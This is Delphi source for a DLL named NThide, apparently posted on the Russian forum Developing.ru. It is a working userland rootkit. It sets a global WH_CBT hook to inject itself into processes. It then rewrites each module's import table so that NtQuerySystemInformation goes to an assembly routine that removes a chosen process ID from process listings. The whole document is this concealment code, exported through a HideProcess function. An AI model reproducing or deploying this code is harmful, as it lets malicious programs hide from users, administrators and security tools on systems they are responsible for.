Developing.ru

Код: Выделить всё

library NThide;

uses Windows,
     ImageHlp,
     TlHelp32;

type TImageImportDescriptor=packed record
                              Characteristics:DWORD;
                              TimeDateStamp:DWORD;
                              ForwarderChain:DWORD;
                              Name:DWORD;
                              FirstThunk:DWORD;
                            end;

PImageImportDescriptor=^TImageImportDescriptor;

type PPointer=^Pointer;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar;// имя dll с функцией

                                  pfnCurrent: Pointer;    // адрес перехватываемой
                                                          // функции

                                  pfnNew: Pointer;        // адрес новой функции

                                  hmodCaller: hModule     // сам модуль
                                  );

var ulSize,written: Cardinal;
    pImportDesc: PImageImportDescriptor;
    pszModName: PChar;
    pThunk: PDWORD;
    ppfn:PPointer;
    ffound: LongBool;
begin
  pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller),
                                          TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,
                                          ulSize);
   if pImportDesc = nil then exit;
   while pImportDesc.Name<>0 do
   begin
     pszModName:=PChar(hmodCaller + pImportDesc.Name);

     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
       break;
     Inc(pImportDesc);
  end;

  if pImportDesc.Name = 0 then
    exit;

  pThunk:=PDWORD(hmodCaller + pImportDesc.FirstThunk);

  while pThunk^<>0 do
  begin
    ppfn := PPointer(pThunk);
    fFound := (ppfn^ = pfnCurrent);

    if (fFound) then
    begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,
                       written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
                         written);
      exit;
    end;
    inc(pThunk);
  end;
end;

var addr_NtQuerySystemInformation: Pointer;
    mypid: DWORD;
    mapaddr: PDWORD;

function myNtQuerySystemInfo(SystemInformationClass, SystemInformation,
                             SystemInformationLength,
                             ReturnLength: DWORD):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push dword ptr SystemInformationClass
  call dword ptr [addr_NtQuerySystemInformation]
  or eax,eax
  jl quit
  cmp SystemInformationClass, 5
  jne quit

onceagain:
  mov esi, SystemInformation

getnextpidstruct:
  mov ebx, esi
  cmp dword ptr [esi],0
  je quit
  add esi, [esi]
  mov ecx, [esi+44h]
  cmp ecx, mypid
  jne getnextpidstruct
  mov edx, [esi]
  test edx, edx
  je fillzero
  add [ebx], edx
  jmp onceagain

fillzero:
  and [ebx], edx
  jmp onceagain

quit:
  mov Result, eax
end;

procedure InterceptFunctions; // перехватить функции
var hSnapShot: Cardinal;
    me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
                                                'NtQuerySystemInformation');

  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

  if hSnapshot=INVALID_HANDLE_VALUE then
    exit;

  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);

  repeat
    ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
                            @MyNtQuerySystemInfo, me32.hModule);
  until not Module32Next(hSnapShot,me32);

  CloseHandle(hSnapShot);
end;

procedure UninterceptFunctions; // снятие перехвата
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
                                               'NtQuerySystemInformation');
  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

  if hSnapshot=INVALID_HANDLE_VALUE then
    exit;

  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);

  repeat
    ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
                            addr_NtQuerySystemInformation, me32.hModule);
  until not Module32Next(hSnapShot,me32);

  CloseHandle(hSnapShot);
end;

var HookHandle: THandle;


function CbtProc(code: integer; wparam: integer;
                 lparam: integer):Integer; stdcall;
begin
  // рвем цепочку хуков
  Result:=0;
end;

procedure InstallHook; stdcall;
begin
  // отлавливаем сообщения о происшедствиях с окнами
  HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD):BOOL; stdcall;
var addrMap: PDWORD;
begin
  mypid:=0;
  result:=false;
  hFirstMapHandle:=CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
                                     'NtHideFileMapping');
  if hFirstMapHandle=0 then
    exit;

  addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);

  if addrMap=nil then
  begin
    CloseHandle(hFirstMapHandle);
    exit;
  end;

  addrMap^:=pid;
  UnmapViewOfFile(addrMap);
  InstallHook; // запрещаем сообщения WH_CBT
  result:=true;
end;

exports HideProcess;

var hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then
    UninterceptFunctions

else
  CloseHandle(hFirstMapHandle);
end;

begin
  hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');

  if hmap=0 then
    exit;

  mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);

  if mapaddr=nil then
    exit;

  mypid:=mapaddr^;
  InterceptFunctions;
  UnmapViewOfFile(mapaddr);
  CloseHandle(Hmap);
  DLLProc:=@LibraryProc;
end.